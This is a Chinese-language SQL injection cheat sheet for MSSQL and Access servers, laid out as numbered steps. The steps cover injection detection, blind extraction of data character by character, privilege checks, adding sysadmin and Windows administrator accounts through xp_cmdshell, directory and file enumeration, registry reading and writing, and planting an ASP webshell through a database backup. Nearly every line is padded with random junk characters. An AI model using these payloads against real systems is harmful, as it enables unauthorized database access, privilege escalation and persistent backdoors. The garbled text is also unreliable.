1.判断是否有注入;and 1=1 ;and 1=2 ty1fcdFZM
2.初步判断是否是mssql ;and user>0 ?`sy%G
k/&]KYwu
3.注入参数是字符'and [查询条件] and ''=' P1 +"v*
_rQUE^9
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 90 {tI X
7u11&(Lz
5.判断数据库系统 vg%QXaM
V:K;] h*!
;and (select count(*) from sysobjects)>0 mssql :,]S}R
+KK$0pL
;and (select count(*) from msysobjects)>0 access >POO-8Q
ayp b
5P^ U_
_&{%Wc5W~F
6.猜数据库 ;and (select Count(*) from [数据库名])>0 $B\E.ml.
|:iEfi]j
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ~P1_BD(
Unl?fXI
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ='Oj4T
pV`$7^#X
9.(1)猜字段的ascii值(access) ~2%3FV^
Rmh*TQu
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 F+=urc>w
P9#)~Zm}]
(2)猜字段的ascii值(mssql) \tt'm\_
UKB_Yy^Y
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ki\uTD`mf
P@ypk^v
10.测试权限结构(mssql) 2YQ#-M
&{^eU5
XDmbm*~i
~^o=a?L`<
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- _,;%mK
o\4t4}z~'f
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- _'iDF
HFh /$VM
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- l)}t,!M6
2ChWe}f
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- /5a;_
tjzA)/T,4
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ,7/
_T\d<
hTS|_5b
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ]mkJw 3
`"<2)yq?
;and 1=(select IS_MEMBER('db_owner'));-- >[K?fJ$+
$4j^1U`~)K
)h"Fla
+^Jwo)R'b
11.添加mssql和系统的帐户 Xz1c6mX|o
8=H\?4)()Y
;exec master.dbo.sp_addlogin username;-- yjZ2 if
;exec master.dbo.sp_password null,username,password;-- EZAm)5:]A
3z,2utH
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- mCk5B*Jy
nk08>veG
;exec master.dbo.xp_cmdshell 'net user username password (KF7zP
vo;5f[>4i
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- `7B14:\A
fEiJ~&{&
;exec master.dbo.xp_cmdshell 'net user username password /add';-- _Xh=&(/8@
sco
uO$K
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- [\HQPo'S
)+GX<2_
,VG9)K1K
Q]i[.ME
12.(1)遍历目录 f)gGH'yOQ
0VG=?dq
;create table dirs(paths varchar(100), id int) )1z4q`
O)<r>vqe}
;insert dirs exec master.dbo.xp_dirtree 'c:\' 9".Uc8^p/F
8&Wx@QI
;and (select top 1 paths from dirs)>0 "Z9^}
>\\5"Sf
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Y@:3 B:m#
m.146
HD|sr{Z%
F?2FITi_V
(2)遍历目录 qRUCnCZs
M)=|<h"F
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- )<'yQW=6
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 h#R&=t1,^
,)uPGe"y
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Oy'0I,
_W+Q3Jx-(
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 $~o3}&az
c%yh(g
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 fv|%Ocm
o[{&!t
}~GV'7d1
It\BbG=
13.mssql中的存储过程 -d_ 7*>m$
7j R7
xp_regenumvalues 注册表根键, 子键 rG5i-'
Ys+N,:#R
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ;qG1r@o
E 8^sy*f
xp_regread 根键,子键,键值名 6=BZ~ed
P=pY8X:
;exec xp_regread !G>(j
C zpsqTQ
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 B%(K0`G#X
bXm:]?
xp_regwrite 根键,子键, 值名, 值类型, 值 g`{Dxb,t
| @q9{h7
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 B{4"$Mi
)+k[uokj
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 jDp]R_i
JchA=n
xp_regdeletevalue 根键,子键,值名 AG=9b
_X?y,#
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 z=%IcSx;
@2|G|C/]O}
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 *|CLO|B)
(V^QQ !:
W&LBh%"g
.Wh6(LDY(
14.mssql的backup创建webshell 2}|vWKej{
k$?&]! <o
use model !yk7HaP
X`tOO
create table cmd(str image); :(RL8
<EOg,"F
insert into cmd(str) values (''); IwnYJp:9v
Ta,u-!/I
backup database model to disk='c:\l.asp'; B
;;cbY
P$F#,Cn
=^"~$[z(
k~ZBJ+
94
15.mssql内置函数 kU>#1He
&F9OZMK=
;and (select @@version)>0 获得Windows的版本号
{\F2*P
DZF[dxH
;and user_name()='dbo' 判断当前系统的连接用户是不是sa (c
1u{
mnQal>0~
;and (select user_name())>0 爆当前系统的连接用户 vB]3Xb3a
vr<)Ay
;and (select db_name())>0 得到当前连接的数据库 W3aXW,P. V
f};!m=b
#<D@3ScC
US"2O!u
16.简洁的webshell rg"TJ"Q-
J~fuW?a]r
use model S54gqc1S]
nJW_a&'
create table cmd(str image); -.^= Z!=M
`g2&{)3k
insert into cmd(str) values (''); 6{lG1\o
'=-s1c@^
backup database model to disk='g:\wwwtest\l.asp';